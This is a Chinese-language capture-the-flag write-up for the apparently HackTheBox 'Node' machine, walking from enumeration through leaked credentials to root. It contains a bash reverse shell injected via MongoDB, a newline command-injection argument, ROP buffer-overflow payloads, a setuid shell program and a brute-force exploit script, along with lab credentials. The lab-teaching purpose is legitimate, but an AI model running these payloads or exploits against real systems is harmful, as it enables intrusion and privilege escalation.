基本信息
端口扫描 22和3000:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ nmap -sC -sV -Pn 10.10.10.58 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-27 13:57 CST Nmap scan report for 10.10.10.58 Host is up (0.071s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open hadoop-datanode Apache Hadoop | hadoop-datanode-info: |_ Logs: /login | hadoop-tasktracker-info: |_ Logs: /login |_http-title: MyPlace Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 76.28 seconds
3000 实际上看header就知道是Node.js Express,nmap给出的错误结果是hadoop:
请求中有用户相关接口:
Express users 根据api格式,直接访问api/users可以获取到所有用户信息,其中有admin:
密码就是sha256,可以解出来明文:
1 myP14ceAdm1nAcc0uNT : manchester
backup 使用这个账号密码登录进去可以获得backup:
响应实际上是backup压缩包的base64,需要自己处理下:
zip crack zip解压还需要密码:
直接fcrackzip破解出来密码,解压:
creds App.js里相关信息:
1 2 const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace'; const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
mark 上面得到的账号密码可以直接用于ssh登录mark,user flag不在这,另外还存在两个用户:
ps aux ps发现tom用户相关进程
1 2 tom 1229 0.0 6.0 1023212 45892 ? Ssl 05:52 0:01 /usr/bin/node /var/www/myplace/app.js tom 1231 0.0 5.8 1009080 44000 ? Ssl 05:52 0:01 /usr/bin/node /var/scheduler/app.js
查看相关文件可以发现是从mongodb中取数据,执行命令
mongo 那就可以在mongodb中写入恶意命令,等待tom用户权限执行:
1 2 3 mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler db.tasks.insert({cmd: '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.5/4445 0>&1"'})
/var/scheduler/app.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const exec = require ('child_process' ).exec;const MongoClient = require ('mongodb' ).MongoClient;const ObjectID = require ('mongodb' ).ObjectID;const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler' ;MongoClient.connect(url, function (error, db ) { if (error || !db) { console .log('[!] Failed to connect to mongodb' ); return ; } setInterval(function ( ) { db.collection('tasks' ).find().toArray(function (error, docs ) { if (!error && docs) { docs.forEach(function (doc ) { if (doc) { console .log('Executing task ' + doc._id + '...' ); exec(doc.cmd); db.collection('tasks' ).deleteOne({ _id : new ObjectID(doc._id) }); } }); } else if (error) { console .log('Something went wrong: ' + error); } }); }, 30000 ); });
user flag 然后等待mongodb的命令执行,获得tom shell,读取user.txt:
提权信息 suid发现backup,结合前面的backup key,下一步利用点:
那就分析这个程序:
1 2 3 4 5 nc -lvvp 4446 > backup nc 10.10.14.5 4446 < /usr/local/bin/backup $ file backup backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
整个流程就是判断key,对输入文件名直接调用system命令进行处理,文件名那里可以溢出构造rop,也可以简单的直接换行注入其他命令
提权 && root flag 换行注入 1 /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/bash\necho OK')"
ret2got 开了ASLR,可以利用自身的system和tmp字符串,构造rop
1 2 3 4 5 6 7 8 9 10 11 cat /proc/sys/kernel/randomize_va_space 2 0x080486a0 system() 0x080486c0 exit() 0x08049ed5 /tmp/.backup_%i (the argument for system) gcc shell.c -o shell cp shell /tmp/.backup_%i && chmod +x /tmp/.backup_%i /usr/local/bin/backup qq 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python2 -c 'print("A"*512+"\xa0\x86\x04\x08"+"\xc0\x86\x04\x08"+"\xd5\x9e\x04\x08")')
我们可以在tmp下写文件,那就可以将其作为system的参数:
shell.c 1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main (void ) { setuid(0 ); system("/bin/sh" ); return 0 ; }
bof brute-force 暴力方式,爆破libc base构造rop:
exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import structfrom subprocess import calllibc_base_addr = 0xf752c000 exit_off = 0x0002e7b0 system_off = 0x0003a940 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off system_arg = libc_base_addr + 0x15900b def conv (num) : return struct.pack("<I" ,num) buf = "A" * 512 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(system_arg) print "Calling vulnerable program" i = 0 while (i < 256 ): print "Number of tries: %d" %i i += 1 ret = call(["./backup" , "qq" , "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474" , buf]) if (not ret): break else : print "Exploit failed"
参考资料
Last updated: 2021-01-27 15:29:13
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会